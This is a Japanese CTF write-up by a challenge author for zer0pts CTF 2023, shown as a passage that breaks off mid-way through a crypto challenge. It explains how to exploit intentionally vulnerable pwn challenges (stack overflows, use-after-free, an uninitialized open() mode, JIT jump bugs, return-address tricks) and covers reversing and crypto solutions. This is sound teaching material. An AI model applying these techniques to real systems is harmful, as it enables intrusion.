CTFするぞ

CTF以外のことも書くよ

zer0pts CTF 2023のWriteup

はじめに

この記事はzer0pts CTF 2023で私が作った問題のwriteupです。ご参加くださった皆様、ありがとうございました。

最終的なスコアボード

pwn

aush

問題の生い立ち

execveに渡す環境変数が壊れているとプログラムを起動できないのは、pwnerにとって悩みの種です。さっそく問題にしました。

問題概要

このプログラムはシンプルなユーザー名とパスワードの認証を実装しています。パスワードとユーザー名はいずれも /dev/urandom から初期化されているため、予測できません。

int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) {
  int ret, fd;

  // TODO: change it to password/username file
  if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
    return 1;
  ret  = read(fd, passbuf, passlen) != passlen;
  ret |= read(fd, userbuf, userlen) != userlen;
  close(fd);
  return ret;
}

セキュリティ機構はすべて有効です。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

解法

脆弱性は単純で、ユーザー名とパスワードの入力にスタックバッファオーバーフローがあります。

#define LEN_USER 0x10
#define LEN_PASS 0x20
...
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };
...
  /* Check username */
  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;
...
  /* Check password */
  write(STDOUT_FILENO, "Password: ", 10);
  if (read(STDIN_FILENO, inppass, 0x200) <= 0)
    return 1;

しかし、stack canaryが有効な上、アドレスを持っていないためリターンアドレスを書き換える手法は使えません。

各バッファのスタック上での並び順を確認すると、次のように「ユーザー名」「入力ユーザー名」「パスワード」「入力パスワード」の順になっています。*1

変数の並び順

したがって、入力ユーザー名がオーバーフローするとパスワードを書き換えられます。しかし、正規のユーザー名は書き換えられないため、ユーザー名の認証を突破できません。

バッファオーバーフロー脆弱性の他に、もう1つの問題があります。認証に失敗した際、以下のようにcowsayを使ってメッセージが表示されます。

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

execve でcowsayを呼び出しているため、認証に失敗するとプロセスはcowsayに生まれ変わって終了します。しかし、 execve が何かしらの理由で失敗すると、認証が成功したパスに合流してしまいます。では、 execve をどのように失敗させられるでしょうか。

execve の第3引数として envp が渡されています。環境変数配列はスタックの高いアドレスに位置するため、スタックバッファオーバーフローで破壊できます。ただし、単純に envp を破壊したままだとシェルを起動する execve も失敗してしまうため、適宜直す必要があります。

したがって、次の手順でユーザー名とパスワードの両方の認証を突破できます。

  1. ユーザー名の入力でパスワードを上書きし、かつ環境変数のポインタを破壊する。
  2. パスワードに1で上書きした内容を送りつつ、文字列配列として認識可能なアドレスに環境変数のポインタを修復する。

私は環境変数のポインタの下位2,3バイトを破壊することで制御しました。別解として、2で envp をNULLにしてもシェルの execve は動作します。

github.com

qjail

問題の生い立ち

Qilingは便利ですが、仕様上嫌いな点も多いので、参加者にpwnしてもらうことにしました。

問題概要

プログラムは以下のように非常にシンプルなバッファオーバーフロー脆弱性があるだけです。

#include <stdio.h>

int main() {
  char name[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  puts("Enter something");
  scanf("%s", name);
  return 0;
}

しかし、セキュリティ機構はすべて有効になっています。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

当然この状態では解けませんが、特殊な点として、この問題ではQilingを使ってプログラムを実行しています。

#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)

    cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
    ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql.run()

フラグはQilingのrootfsにマウントされているので、Qilingから抜け出す必要はありません。

解法

脆弱性をexploitする上で障壁となるのは、ASLR, PIE, Stack Canaryの3つのセキュリティ機構です。それぞれを実験で確認してみましょう。

次のようにアドレスとスタックの内容をダンプするプログラムをコンパイルして、Qilingで実行します。

int main(int argc, char **argv) {
  unsigned long buf[2];
  printf("main=%p / system=%p\n", main, system);
  for (int i = 0; i < 8; i++)
    printf("+%02xh: %016lx\n", i*8, buf[i]);
  return 0;
}
import qiling

cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', "./a.out"]
ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql.run()

すると、何度実行しても結果は変わりません。

$ python test.py
main=0x7fffb7dd7169 / system=0x7fffb7e2d290
+00h: 0000000000000000
+08h: 00007fffb7dd7080
+10h: 000080000000de38
+18h: 6161616161616100
+20h: 0000000000000000
+28h: 00007fffb7dff083
+30h: 00007fffb7fc37a0
+38h: 000080000000de40

この結果から、QilingではシステムのASLRがエミュレートされていないことがわかります*2。 さらに、Stack Canaryの部分を見ると、 0x6161616161616100 になっています。この値は固定で、Stack Canaryも無効に等しいです。

したがって、canaryを回避してROPすれば任意コード実行に持ち込めます。

github.com

BrainJIT

問題の生い立ち

なんとなくBrainfuckJITを書いたところ、問題になりました。当初はテープ用の領域が実行不可能でしたが、諸事情で実行可能にして少し簡単にしました。

問題概要

Python製のプログラムで、BrainfuckJITを実装しています。

$ ./app.py 
Brainf*ck code: +[------->++<]>.---------.++++++.++++.>++++++++++.
neko

JITは単純に、登場した命令を機械語に置き換えています。ただし、ポインタの移動操作や値の変更操作が連続した場合、1つの操作に圧縮されます。

解法

バグは単純で、ループの開始と終了に不整合があるときに出力される機械語に誤りがあります。

...
            elif insn == '[':
                # mov al, byte ptr [rbp+rbx]
                # test al, al
                # jz ??? (address will be fixed later)
                emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
                emit += b'\x0f\x84' + p32(-1)
                jumps.append(self._code_len + len(emit))

            elif insn == ']':
                if len(jumps) == 0:
                    raise SyntaxError(f"Unmatching loop ']' at position {index}")
                # mov al, byte ptr [rbp+rbx]
                # test al, al
                # jnz dest
                dest = jumps.pop()
                emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
                emit += b'\x0f\x85' + p32(dest - self._code_len - len(emit) - 6)
                self._code[dest-4:dest] = p32(self._code_len + len(emit) - dest)

            else:
                raise SyntaxError(f"Unexpected instruction '{insn}' at position {index}")

            self._emit(emit)
            index += length

        self._emit(emit_leave)

ループの開始を検出した場合、スタックにその命令の場所を積みます。そして、ループの終了を見つけたらスタックから始点の命令の場所をポップし、その箇所のジャンプ先を修正します。この際スタックが空であったら、つまり [ より ] の方が多かった場合、"Unmatching loop"として例外が投げられます。

一方で、 ] より [ の方が多かった場合、つまりコンパイル終了時にスタックが空でなかった場合のチェックはありません。この場合、どのような挙動になるでしょうか。 [ は次のコードでJITコンパイルされます。

# mov al, byte ptr [rbp+rbx]
# test al, al
# jz ??? (address will be fixed later)
emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
emit += b'\x0f\x84' + p32(-1)
jumps.append(self._code_len + len(emit))

ループの始点の段階ではどこにジャンプするべきかわからないため、仮のアドレスとして"-1"がジャンプ先に入っています。つまり、ループの始点と終点の個数が一致しない場合、この"-1"が残ったままになります。

分岐命令は次の命令からジャンプ先までのオフセットを取るため、"-1"はジャンプ命令の機械語の途中にジャンプします。具体的には、jz 0xffffffffの途中に飛ぶため、ジャンプ先は0xffから始まる命令として認識されます。では、Brainfuckの他の命令で生成される機械語の先頭に0xffを付けたとき、悪用できる命令はあるでしょうか。

ある程度は値を操作したいので、圧縮可能な命令 <, >, +, - を0xffに付加して逆アセンブルしてみましょう。すると、 < が次のように評価されます。(例として連続する命令数は0x41414141にしています。)

>>> disassemble("\xff" + "\x49\x81\xe8AAAA\x49\x81\xf8\x00\x80\x00\x00\x72\x01\xcc")
[(0, 'dec DWORD PTR [rcx-0x7f]'), (3, 'call 0x41414149'), (8, 'cmp r8,0x8000'), (15, 'jb 0x12'), (17, 'int3')]
# dec dword [rcp-0x7f]
# call 0x41414149
# ...

RCXは初期状態でアドレスではありませんが、システムコールの戻り値はRCXに代入されるため、システムコールを使う ,. 命令を使えばアドレスにできます。すると、RCX-0x7Fもマップされているアドレスを指しているので、最初のdec命令はクラッシュしません。その次の命令が call 命令として解釈されるため、ある程度自由なオフセットにジャンプできることがわかります。

ここで、機械語とテープのメモリは次のコードで確保されています。

    def __init__(self, insns: str):
        self._insns = insns
        self._mem = self._alloc(self.MAX_SIZE)
        self._code = self._alloc(self.MAX_SIZE)

    def _alloc(self, size: int):
        return mmap.mmap(
            -1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC
        )

この2つの領域は隣接し、テープのメモリも実行可能領域としてマップされているため、テープにシェルコードを用意できます。

github.com

WISE

問題の生い立ち

去年のD言語に続き、今年も謎言語の易しめpwnを作ることにしました。いつもpwnで謎言語を出しているのは、非日常的な状況(glibc heap exploitが役に立たない等)でのpwn力を試したいからです。ブラウザのようなソフトウェアでも良いのですが、複雑になってしまうのと、事前知識でほぼ決着がつくので謎言語で代用しています。謎言語一覧を調査し、メモリ安全でないものを適当にピックアップしました。

この問題を作った頃「Spy x Family」を読んでいたので問題内容やタイトル、問題文は漫画から来ています。

問題概要

まず問題ファイルを確認すると、 .cr という気味の悪い拡張子があります。はい、謎言語製プログラムです。

今年の犠牲者となった言語はCrystalです。プログラムには次の機能があります。

  1. 住民情報を追加する。
  2. 住民情報を編集する。
  3. 住民情報一覧を表示する。
  4. 住民をスパイとしてマークする。
  5. スパイとしてマークされている住民のIDを変更する。
  6. スパイとしてマークされている住民の情報を表示する。

1〜3は、いわゆる「note問」のcreate, edit, showに該当します。4〜6が今回の問題で重要な部分になります。

解説

Crystalは私も使ったことがなかったのですが、文法はRubyに似ているらしいです。Crystalは一応メモリ安全な設計になっているのですが、やばい操作をしたいときは unsafe という名前の追加関数も用意されています。実際、今回の問題でも以下の箇所でunsafeが使われています。

  when 4
    print "ID of suspect: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      puts "[+] Marked '#{name_list[index]}' as possible spy"
      suspect = id_list.to_unsafe + index
    end

通常、住民をスパイとしてマークしてからその住民を削除しても、CrystalはGCを使っているためUse-after-Freeは起きません。 しかし、今回のコードでは、住民をスパイとしてマークする際に

suspect = id_list.to_unsafe + index

という書き方をしています。これは配列中のポインタのみを保存するため、変数 suspect にはアドレスへの参照のみが残ります。 削除という機能はありませんが、住民を追加して配列が大きくなると、いずれ再確保が発生して別の領域にデータが移ります。すると、 suspect には元あったデータへのポインタのみが残り、Use-after-Freeが起きます。

スパイにIDをつける機能で64-bitの値を変更できます。これで何ができるでしょうか。

適当に住民を追加してメモリを確認します。

0x7ffff7cbef00: 0x00007ffff7cbeee0      0x0000000000000000
0x7ffff7cbef10: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef20: 0x00007ffff7cbef00      0x0000000000000000
0x7ffff7cbef30: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef40: 0x00007ffff7cbef20      0x0000000000000000
0x7ffff7cbef50: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef60: 0x0000000800000001      0x4343434300000000 <-- name_list[1]
0x7ffff7cbef70: 0x0000000044444444      0x0000000000000000
0x7ffff7cbef80: 0x2bdaea1070d83563      0x5ce5ae78158f5e35 <-- id_list
0x7ffff7cbef90: 0x0000000000000000      0x0000000000000000
0x7ffff7cbefa0: 0x0000000800000001      0x4141414100000000 <-- name_list[0]
0x7ffff7cbefb0: 0x0000000042424242      0x0000000000000000

明らかに連結リストでfreeされている領域を管理しているような見た目をしています。また、整数や文字列は非常にシンプルな構造なので、exploit上の懸念も少なそうです。

今、例えば id_list の先頭の0x7ffff7cbef80を suspect に代入できます。この状態でIDを増やすと、次のように再確保が発生して id_list はfreeされます。

0x7ffff7cbef00: 0x00007ffff7cbeee0      0x0000000000000000
0x7ffff7cbef10: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef20: 0x0000000800000001      0x4747474700000000 <-- name_list[3]
0x7ffff7cbef30: 0x0000000048484848      0x0000000000000000
0x7ffff7cbef40: 0x0000000800000001      0x4545454500000000 <-- name_list[2]
0x7ffff7cbef50: 0x0000000046464646      0x0000000000000000
0x7ffff7cbef60: 0x0000000800000001      0x4343434300000000 <-- name_list[1]
0x7ffff7cbef70: 0x0000000044444444      0x0000000000000000
0x7ffff7cbef80: 0x00007ffff7cbef00      0x5ce5ae78158f5e35 <-- freed id_list
0x7ffff7cbef90: 0xc97703dc32b35f9c      0x0000000000000000
0x7ffff7cbefa0: 0x0000000800000001      0x4141414100000000 <-- name_list[0]
0x7ffff7cbefb0: 0x0000000042424242      0x0000000000000000

ここで suspect のIDを変更してみましょう。

0x7ffff7cbef00: 0x00007ffff7cbeee0      0x0000000000000000
0x7ffff7cbef10: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef20: 0x0000000800000001      0x4747474700000000 <-- name_list[3]
0x7ffff7cbef30: 0x0000000048484848      0x0000000000000000
0x7ffff7cbef40: 0x0000000800000001      0x4545454500000000 <-- name_list[2]
0x7ffff7cbef50: 0x0000000046464646      0x0000000000000000
0x7ffff7cbef60: 0x0000000800000001      0x4343434300000000 <-- name_list[1]
0x7ffff7cbef70: 0x0000000044444444      0x0000000000000000
0x7ffff7cbef80: 0x00000000deadbeef      0x353337330000000a <-- freed id_list
0x7ffff7cbef90: 0xc900393535383239      0x0000000000000000
0x7ffff7cbefa0: 0x0000000800000001      0x4141414100000000 <-- name_list[0]
0x7ffff7cbefb0: 0x0000000042424242      0x0000000000000000

解放済み領域のリストのポインタを破壊できました。さらに確保を発生させると、壊れたリンクを辿ってクラッシュします。

上記はリストの書き換えですが、IDの確認もできるためヒープアドレスのリークもできます。 id_listname_list の変数そのものもヒープにあるため、それらのアドレスを計算できます。リンクをこれらの変数に向けることで、 name_listid_list を書き換えることができます。 これにより、AAR/AAW primitiveが作れるため、 environ からスタックのアドレスをリークしてROPに持ち込めます。

github.com

sharr

問題の生い立ち

open 関数って可変長引数だよな... :thinking_face: これでpwn作れるのでは?と思い問題にしました。

問題概要

この問題は先程と同様に"note問"です。 プロセス間通信を使ってインタフェースとnoteを管理するプロセスに分かれています。しかし、特にサンドボックスがあるわけではありません。また、この問題はncで繋ぐとプログラムが起動するのではなく、シェルが渡されています。つまり、RCE(リモートコード実行)ではなくLPE(権限昇格)が目的です。

インタフェース側はコマンドを受け取り、プロセス間通信で親プロセスにコマンドを転送します。共有メモリとして、通常ファイル経由でコマンドを送っている点が特殊です。

void io_set(off_t offset, void *data, size_t size) {
  lseek(mapfd, offset, SEEK_SET);
  write(mapfd, data, size);
}

void io_get(off_t offset, void *data, size_t size) {
  lseek(mapfd, offset, SEEK_SET);
  read(mapfd, data, size);
}

DEFINE_SETTER_CONST(int, command);
DEFINE_GETTER(int, command);
DEFINE_SETTER(ssize_t, index);
DEFINE_GETTER(ssize_t, index);
DEFINE_SETTER(size_t, value);
DEFINE_GETTER(size_t, value);

解法

気付きづらいかもしれませんが、脆弱性は共有ファイルを作る最初のコードにあります。

  /* Create filename */
  snprintf(mapname, sizeof(mapname), "/tmp/.shm-%08x", rand());
...
  /* Create shared memory */
  if ((mapfd = open(mapname, O_RDWR|O_CREAT|O_EXCL)) == -1)
    fatal(mapname);
  fchmod(mapfd, 0600);
  ftruncate(mapfd, sizeof(ArrayIO));
  signal(SIGINT, interrupt_handler);
  io_set_command(CMD_WAIT);

まず、共有ファイルのファイル名は rand に依存しているため、予測できます。これで作られたランダムな名前のファイル名を使って、 open 関数でファイルを作っています。そして、管理者以外にファイルが開けないように権限を0600にしています。

では、 open 関数でファイルが生成されてから chmod で権限が変更されるまでの間は権限の設定はどうなっているのでしょうか?

普段使っていてもあまり実感が湧きませんが、 open 関数は可変長引数の関数です。そのため、C言語open 関数に大量の引数を渡してもgccコンパイルしてくれます。なぜかというと、 open システムコールmode という引数を取ることがあるからです。 open システムコールはファイルを開くことも作成することもできます。作成するときは当然権限を指定したいので、そのときに mode 引数が使われます。

配布したC言語のコードでは2引数しか渡していませんが、システムコールレベルで呼ばれた際には隠れた第3引数を使おうとします。つまり、それまでに初期化されていないRDXレジスタの内容を使ってしまいます。

open の前に最後にRDXが変更されるのは、 atoi 関数の中です。 atoi 関数はverboseモードの値を決定するために使われ、1に設定されるとアドレスのような貴重な情報も得られます。 さて、今回のバージョンのlibcでは strtol が変換した数値のnegがRDXレジスタに残ります。権限が0777になるためには、(0o777 ^ 0xfff)+1=3585をverboseモードの値として渡せば良いです。

しかし、実際に実験すると、この方法で権限が0777のファイルは作成されません。原因はumaskにあります。umaskはファイル作成時の権限にマスクをかける機能です。例えば、umaskが022に設定されている際に0666でファイルを作ると、実際のファイルの権限は0666 & ~022 = 0644になります。したがって、sharrのプログラムを起動する前にumaskを0に設定する必要があります。

open から chmod までの間に第三者から共有ファイルの open に成功すると、インデックスやサイズのチェックがない自由な操作を親プロセスに指示できるようになります。

続いてアドレスリークの必要もあります。今、インタフェースに関係なくコマンドを送れるので、以下のコードで自由なインデクスに値を格納・あるいは読み取りできます。

case CMD_EDIT: {
  ssize_t idx = io_get_index();
  size_t val = io_get_value();
  arr[idx] = val;
  if (verbose == 1)
    dprintf(STDERR_FILENO, "[DEBUG] CMD_EDIT: %p <-- 0x%016lx\n", &arr[idx], val);
  break;
}

case CMD_SHOW: {
  ssize_t idx = io_get_index();
  io_set_value(&arr[idx]);
  if (verbose == 1)
    dprintf(STDERR_FILENO, "[DEBUG] CMD_SHOW: %p --> 0x%016lx\n", &arr[idx], arr[idx]);
  break;
}

ヒープ中の自由な場所のデータを読み書きできますが、freeは使われないためglibcヒープ関連のexploitはできません。マップされていないアドレスに書き込もうとすると、当然プロセス全体がクラッシュします。

ここで、 CMD_SHOW では直接 &arr[idx]io_set_value に渡していることに着目します。 io_set_value は以下のように定義されています。

#define DEFINE_SETTER(type, name)                         \
  void io_set_##name(type *name) {                        \
    io_set(offsetof(ArrayIO, name), name, sizeof(type));  \
  }
...
void io_set(off_t offset, void *data, size_t size) {
  lseek(mapfd, offset, SEEK_SET);
  write(mapfd, data, size);
}
...
DEFINE_SETTER(size_t, value);

つまり、最終的には以下のコードが呼ばれるのと等価です。

write(mapfd, &arr[idx], sozeof(size_t));

writeカーネル側の処理なので、 &arr[idx] が不正なアドレスでもプロセスはクラッシュしません。

したがって、 CMD_SHOW でインデックスを(0x1000/8)単位で負の方向に進めていき、 "\x7FELF" を見つけるまでプログラムのベースアドレスを探索できます。 プログラムのベースアドレスがわかれば、芋づる式にlibcやスタックのアドレスがわかり、ROPに持ち込めます。

github.com

Himitsu Note

問題の生い立ち

ある日ふと思い立って main 関数のリターンアドレスの最下位バイトを0にしたところ、argv[0]リークできるパスが見つかったので問題にしました。

問題概要

またしてもnote問です。note問はたくさんありますが、どの問題もコンセプトはまったく異なる作りになっています。

以下の2つの操作+1つの処理ができます。

  1. note_list[index] = malloc(0x800); : スタック上の配列にmallocポインタを入れられる。ただし、確保されていないNULLの箇所のみ。
  2. getstr(note_list[index]) : 確保したアドレスにデータを自由な書き込める。
  3. すべての配列ポインタをfreeしてプログラムを終了する。

この問題は一見簡単なのですが、アドレスリークの手法が新規性で、想定ではpwnの中で最も難しい問題として出題しました。

解説

まず、1に自明な脆弱性があります。

      case 1: {
        unsigned int i = getint("index: ");
        if (!note_list[i]) {
          note_list[i] = (char*)malloc(NOTE_SIZE);
          print("[+] done\n");
        } else {
          print("[-] error\n");
        }
        break;
      }

インデックスのチェックがないため、範囲外に書き込めます。ただし、符号なしなので正の方向にしか書き込めません。 スタックを指しているポインタをeditすることで、リターンアドレスを書き換えることができます。ただし、PIEが有効なのでアドレスがわかりません。

この問題にはもう1つ脆弱性があり、それが getstr 関数です。

void getstr(const char *s, char *buf, size_t len) {
  print(s);

  for (size_t i = 0; ; i++) {
    char c;
    if (read(STDIN_FILENO, &c, 1) <= 0)
      _exit(1);
    else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else if (i < len) {
      buf[i] = c;
    }
  }
}

サイズ len を超える文字を書き込むとループ自体はまわりますが、バッファには書き込まないようになっています。しかし、最後の改行は必ずNULLバイトに変換されるので、バッファから正の方向の自由な箇所にNULLバイトを書き込める脆弱性があります。この脆弱性で何ができるでしょうか。

まず考えられるのはnoteのアドレスを破壊することです。しかし、 free は関数終了時に一度呼ばれるだけです。 tcacheの一部領域は壊せますが、 malloc は0x800サイズでしか呼ばれないためtcacheは使われません。

次に考えられるのは、リターンアドレスの部分的な破壊です。リターンアドレスの最下位バイトをNULLバイトで置き換えると、次の箇所にジャンプします。

pwndbg> x/16i 0x00007ffff7df2000
   0x7ffff7df2000 <__libc_start_main+112>:      sbb    al,0x0
   0x7ffff7df2002 <__libc_start_main+114>:      mov    rsi,QWORD PTR [rsp+0x8]
   0x7ffff7df2007 <__libc_start_main+119>:      mov    edi,DWORD PTR [rsp+0x14]
   0x7ffff7df200b <__libc_start_main+123>:      mov    rdx,QWORD PTR [rax]
   0x7ffff7df200e <__libc_start_main+126>:      call   rbx

これは __libc_start_main 中の __libc_csu_init を呼び出すコードになります。その後のコードを確認しましょう。

  if (init)
    (*init) (argc, argv, __environ MAIN_AUXVEC_PARAM);

#ifdef SHARED
  /* Auditing checkpoint: we have a new object.  */
  if (__glibc_unlikely (GLRO(dl_naudit) > 0))
    {
      struct audit_ifaces *afct = GLRO(dl_audit);
      struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded;
      for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
    {
      if (afct->preinit != NULL)
        afct->preinit (&link_map_audit_state (head, cnt)->cookie);

      afct = afct->next;
    }
    }
#endif

#ifdef SHARED
  if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS)) // [1]
    GLRO(dl_debug_printf) ("\ntransferring control: %s\n\n", argv[0]); // [2]
#endif

ここで[1]の条件に注目しましょう。 GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS は先程のジャンプ先より少し前に計算されています。

   0x7ffff7df1feb <__libc_start_main+91>:       mov    ebp,DWORD PTR [rdx]
   0x7ffff7df1fed <__libc_start_main+93>:       and    ebp,0x2

RBPレジスタを使って計算しています。この機械語はジャンプ先より前に存在するため、ジャンプ後には適切な値が入りません。

ではRBPレジスタは最後にどこでセットされるかというと、 main 関数の leave 命令になります。

   0x55555555546b <main+309>:   leave  
   0x55555555546c <main+310>:   ret

したがって、saved rbpに適当なヒープのアドレスを入れておけば、先程の[1]の条件を通過できます。さらに、[2]では argv[0] をstderrに出力しています。さらに嬉しいことに、この処理が終わると main 関数が呼ばれます。したがって、アドレスリークのあとにプログラムが続行します。

  int not_first_call;
  not_first_call = setjmp ((struct __jmp_buf_tag *) unwind_buf.cancel_jmp_buf);
  if (__glibc_likely (! not_first_call))
    {
      struct pthread *self = THREAD_SELF;

      /* Store old info.  */
      unwind_buf.priv.data.prev = THREAD_GETMEM (self, cleanup_jmp_buf);
      unwind_buf.priv.data.cleanup = THREAD_GETMEM (self, cleanup);

      /* Store the new cleanup handler info.  */
      THREAD_SETMEM (self, cleanup_jmp_buf, &unwind_buf);

      /* Run the program.  */
      result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
    }

argv[0] もスタックに存在するため、ここにヒープのアドレスを入れておけば、 dl_debug_printf がヒープの中身を出力してくれます。このようにして、ヒープやlibcのアドレスがリークできます。 アドレスが分かったら、ROP chainを書き込んで任意コマンド実行できます。

github.com

rev

decompile me

問題の生い立ち

某所でreversingを教えていたときに、「デコンパイラは便利だけど練習のときはなるべくアセンブリを読んでね」と言いました。それと同時に、デコンパイラ依存症の人々を困らせる問題を作りたくなりました。 また、解析妨害で引数を混乱させるプログラムは過去に知っていたので、reversingをする人には一般的な知識として持っておいてほしかったという思いも強いです。

問題概要

x86-64のreversing問題です。最近はIDAやGhidraのデコンパイラにより、アセンブリを読めない人でもリバースエンジニアリングができる世界になってきました。 しかし、デコンパイラツールは代表的なコンパイラの仕様に合わせて設計されています。そのため、呼び出し規約を破ることで、簡単に難読化できます。

解説

IDAででコンパイルすると次のようなコードが生成されます。

IDAによるデコンパイル結果

しかし、これに基づいてRC4を復号してもフラグは得られません。ここで定義されている関数はすべてlibcの関数ではなく、独自に書かれたものです。例えば write 関数は次のように定義されています。

write関数の定義

明らかに呼び出し規約が守られていません。本当の引数はRDI, RSI, RDXではなく、RBP, R12-R15, スタックのように、関数ごとに異なる呼び出し規約を持っています。 これに基づいてコードを読むと、RC4ではありますが、鍵や暗号文の場所がまったく違う場所に置かれていることがわかります。

github.com

mimikyu

問題の生い立ち

API HashingをLinuxで見たことがなかったので問題にしました。ただそれだけです。

問題概要

Windowsマルウェアに多く見られる難読化手法をLinuxに適用したプログラムがテーマです。具体的には、次のように主要な関数呼び出しがハッシュ値により難読化されています。*3

関数呼び出しの難読化

解説

基本的な解き方は、WindowsAPI Hashingを解析するときと同じです。ハッシュ値から関数名を逆算するコードを書くと解析が楽です。

関数名が解明されたら、次に cap という関数が問題になります。この関数は入力として1つの値を受け取り、glibchcreate 関数でハッシュテーブルを作ります。そして、失敗するまで hsearch で要素を挿入しつづけ、挿入できた要素数を出力変数にコピーします。

つまり、 hcreate で作ったハッシュテーブルの容量を返しています。 hcreate 関数の実装を読むと、容量は必ず素数になっていることがわかります。glibcの中に next_prime の実装があるなんて...!

素数であることがわかると、実装は弱いRSAだと判明するので、すぐソルバが書けます。

github.com

topology

問題の生い立ち

angr問だけど、angrの機能を使いこなせないと解けない問題を出したくて作りました。

問題概要

共有メモリとfutexを使ってプロセス間通信を実装しています。親プロセスを含めて100個のプロセスが起動し、リング状のネットワークトポロジを形成します。

親プロセスは、入力フラグを8バイトごとに分割し、リングネットワークを経由してすべての子プロセスにフラグの検証を依頼します。受け取ったプロセスは検証結果を返し、親プロセスが受け取るまでネットワーク上を巡回します。親プロセスはすべての子プロセスの結果を受け取り、5個以上のプロセスが受理判定をした場合、そのフラグのブロックが正しいと判断します。

各プロセスがフラグのブロックを検証するロジックは単純ですが、99プロセスあるので自動化する必要があります。

解説

この問題は、angrのようなエミュレータやシンボリック実行を利用して解くことを想定しています。

当然プログラム全体をシンボリック実行することはできませんが、各プロセスの検証用関数すべてをエミュレートすることはできます。シンボリック実行が本質で、プログラム解析の観点では技術的に説明することは少ないので、詳細はコードを参照してください。

github.com

fvm

問題の生い立ち

Intelレジスタ一覧を見ていたとき、stレジスタという見に覚えのないレジスタを見つけたので問題にしました。残念ながらst98レジスタはありませんでした。将来的にstレジスタが拡張されることを期待しましょう。

問題概要

独自VM問です。独自VM問は作業ゲーなので個人的にあまり出題したくないのですが、今回の問題はCPU特有の機能を使っており面白いと思ったので作りました。

独自VMといえば、必ずレジスタやRIP、メモリのような構造を確保します。しかし、今回の問題では初期化は以下の1命令だけで、CPUやメモリを構築するコードは存在しません。

  void init_cpu() {
    __asm__("finit");
  }

どのような原理で動作しているかというと、x86 CPUに搭載されているx87という機能を使っています。x87浮動小数点演算に特化した命令セットで、特殊な点としてCPU内のスタックを介して演算をするという特徴があります。スタックは st(0) から st(7) までの最大8つのデータを保持でき、各データは10バイト(80-bit)の精度を持ちます。今回の問題で使われているx87命令はほとんどオペランドを取らず、例えば足し算は faddp 命令で、スタックトップの2つの値をポップして足し、結果をスタックトップに積みます。

解法

コンパイラを書いて読むのが楽だと思います。

フラグを4バイトごと読み取り、文字コードラジアンに変換し、サイクロイドとカージオイドに乗っけています。結果の乗算と加算をし、それぞれの値を答えと比較します。4変数に対して2つの値しか渡されませんが、値の範囲が限られているので総当りで解けます。

github.com

crypto

SquareRNG

問題の生い立ち

mitsu君がmoduhashをwarmupと提出していたのを危惧し、私がcryptoのシン・warmupの作成に取り掛かりました。そして、ある日夜寝る前に次のような問題を思いつきました。

 \mathbb{F}_p 上で定義される多項式  f(x) について、

 L = \left(\cfrac{f(0)}{p}\right), \left(\cfrac{f(1)}{p}\right), \left(\cfrac{f(2)}{p}\right), \cdots

のような数列を定義します。pに対して十分に短い長さlの数列の部分列が渡されたとき、次のルジャンドル記号

 \left(\cfrac{f(l)}{p}\right)

を求めることはできるでしょうか。

期待をせずに調べてみると、実はこのような数列にはルジャンドル記号列という名前がついていました。さらに、この問題はGLSP(Generalized Legendre Symbol Problem)と呼ばれ、一般的に困難と信じられているそうです。暗号問にならないかと考えましたが、困難な問題なので解けるはずがありませんでした。

そこで、多項式という制約を外し、さらに関数が複数ある場合を考えたところ今回の問題を思いつきました。

解説

 F_{p}上で次のオラクルが与えられます。ただし、 a, pは未知で、 bは自由に決定できます。 bは2つ設定でき、それぞれのオラクルが得られます。

 \mathcal{O}(x) = \left(\cfrac{f(x)}{p}\right), f(x) = \sum_{0}^{x} a^{x} b^{x}, 1 \leq x \leq 32

実際にはこのオラクルが乱数の実装として使われているので、コードから上の式を理解することも必要です。さて、ここで片方の bについて

 \left(\cfrac{a^{33} + b^{33}}{p}\right)

を正確に求めることができるとフラグがもらえます。

ルジャンドル記号に関する重要な性質として、以下の式があります。(証明は簡単なので省略します。)

 \left(\cfrac{ab}{p}\right) = \left(\cfrac{a}{p}\right) \left(\cfrac{b}{p}\right)

つまり、 a b abルジャンドル記号を知っている場合、 abルジャンドル記号もわかります。また、今回知りたい a^{33} + b^{33}因数分解できます。

 a^{33} + b^{33} = (a + b)(a^{32} - a^{31}b + a^{30}b^{2} - \cdots - ab^{31} + b^{32})

因子のルジャンドル記号を求められるでしょうか。 f(x)について、 b=1とすると x=1のとき

 f(x) = a + 1 = a + b

です。また、 b=-1とすると、 x=32のとき

